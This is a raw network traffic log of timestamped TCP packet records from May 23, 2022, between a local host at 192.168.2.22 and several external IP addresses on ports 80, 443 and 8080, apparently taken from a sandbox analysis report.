May 23, 2022 09:19:20.576061964 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576086044 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576091051 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576123953 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576136112 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576162100 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576165915 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576200008 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576215982 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576237917 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576256990 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576277018 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576282024 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576316118 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576327085 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576354027 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576354027 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576391935 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576404095 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576431990 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576433897 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576472044 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576489925 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576546907 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576558113 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576584101 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576585054 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576621056 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576641083 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576662064 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576664925 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576702118 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576730013 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576766968 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576781034 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576797962 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576805115 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576837063 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576869011 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576905966 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576947927 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576982021 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576984882 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577001095 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577023983 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577029943 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577064037 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577091932 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577100039 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577119112 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577138901 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577143908 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577178001 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577207088 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577219963 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577224970 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577260971 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577270985 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577300072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577300072 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577351093 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577361107 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577373981 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577392101 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577419996 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577429056 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577446938 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577466965 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.577472925 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.577516079 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.578320980 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582521915 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582582951 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582628965 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582640886 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582674026 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582674980 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582741022 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582753897 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582766056 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582782030 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582797050 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582824945 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582843065 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582866907 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582880020 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582901001 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.582921028 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.582942009 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.584444046 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.584990025 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:24.677239895 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:24.677288055 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:24.677370071 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:24.677947998 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:24.677968025 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.076318979 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.076524019 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.087781906 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.087815046 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.088269949 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.088366985 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.124990940 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.168502092 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.249968052 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.250071049 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.250103951 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.250130892 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.250144005 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.250169039 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.369380951 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.369487047 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.369496107 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.369513035 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.369558096 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.369751930 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.488594055 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.488688946 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.488816977 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.488841057 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.488874912 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.488924026 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489084005 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489275932 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.489356995 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.489409924 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489428043 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.489480972 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489515066 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489829063 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.489912033 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.489933968 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.489944935 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.490020037 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.490041971 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.490127087 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.490345001 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.490417004 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.490467072 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.490478039 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.490576982 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.494240999 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.576395035 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:25.576499939 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:25.610358953 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.610449076 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.610537052 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.610557079 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.610578060 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.610622883 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.610697985 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.610949039 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611031055 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611080885 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611098051 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611112118 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611164093 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611259937 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611498117 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611578941 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611624002 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611639023 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611656904 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611696959 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611859083 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611936092 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.611938000 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.611955881 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612013102 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.612252951 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612334967 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612350941 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.612366915 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612464905 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.612507105 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.612720013 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612795115 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.612978935 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.612998009 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.613236904 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.614202023 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.732690096 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.732795954 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.732991934 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.733036995 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.733263969 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.733345985 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.733822107 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.733954906 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.733994007 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.734477043 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.734580994 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.734764099 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.734782934 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.734828949 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.735275984 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.735411882 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.735646963 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.735665083 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.735739946 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.735955954 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.736052990 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.736062050 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.736078024 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.736105919 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.736124039 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.736793041 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.736938000 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.736943007 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.736963987 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.737014055 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.737531900 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.737616062 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.737622976 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.737644911 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.737683058 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.738137007 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.738224983 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.738234043 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.738250017 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:25.738292933 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.738302946 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:25.745126009 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.239094019 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.239119053 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.239227057 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.239276886 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.239320040 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.239331961 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.239361048 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.239476919 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.358407021 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.358566999 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.358603954 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:26.358609915 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.358644962 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.358692884 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.358748913 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.359657049 CEST	49174	443	192.168.2.22	159.203.19.2
May 23, 2022 09:19:26.359690905 CEST	443	49174	159.203.19.2	192.168.2.22
May 23, 2022 09:19:28.973680973 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:29.015346050 CEST	80	49175	193.143.77.34	192.168.2.22
May 23, 2022 09:19:29.015440941 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:29.019248009 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:29.060909986 CEST	80	49175	193.143.77.34	192.168.2.22
May 23, 2022 09:19:31.049067020 CEST	80	49175	193.143.77.34	192.168.2.22
May 23, 2022 09:19:31.049225092 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:31.123563051 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:31.165396929 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:31.165544987 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:31.166353941 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:31.207897902 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260165930 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260215998 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260242939 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260267973 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260291100 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260314941 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260339975 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260344982 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260365963 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260373116 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260375977 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260380030 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260392904 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260406971 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260417938 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.260437965 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.260457039 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.261173964 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.261224985 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302309036 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302350044 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302375078 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302400112 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302423954 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302433014 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302450895 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302459955 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302464008 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302465916 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302468061 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302478075 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302479982 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302505970 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302515984 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302531958 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302536964 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302558899 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302562952 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302584887 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302591085 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302611113 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302618980 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302639008 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302644014 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302665949 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302670956 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302690983 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302696943 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302716970 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302722931 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302742958 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302747011 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302768946 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302773952 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302793980 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302799940 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302819967 CEST	80	49176	193.143.77.34	192.168.2.22
May 23, 2022 09:19:32.302824974 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:32.302850962 CEST	49176	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:33.049844980 CEST	80	49175	193.143.77.34	192.168.2.22
May 23, 2022 09:19:33.050051928 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:19:48.083465099 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:48.256905079 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.257087946 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:48.346781015 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:48.520054102 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.536345005 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.536405087 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.536614895 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:48.549870968 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:48.723057985 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.725663900 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:48.725812912 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.265361071 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.438674927 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.438779116 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.514395952 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.687668085 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.703618050 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.703653097 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.703773975 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.718173027 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:50.891459942 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.894134045 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:50.894256115 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:51.792747021 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:51.966296911 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:52.017543077 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:52.190871954 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:52.629477978 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:52.629703045 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:52.873570919 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:52.873663902 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:55.630580902 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:55.630618095 CEST	8080	49179	173.82.82.196	192.168.2.22
May 23, 2022 09:19:55.630775928 CEST	49179	8080	192.168.2.22	173.82.82.196
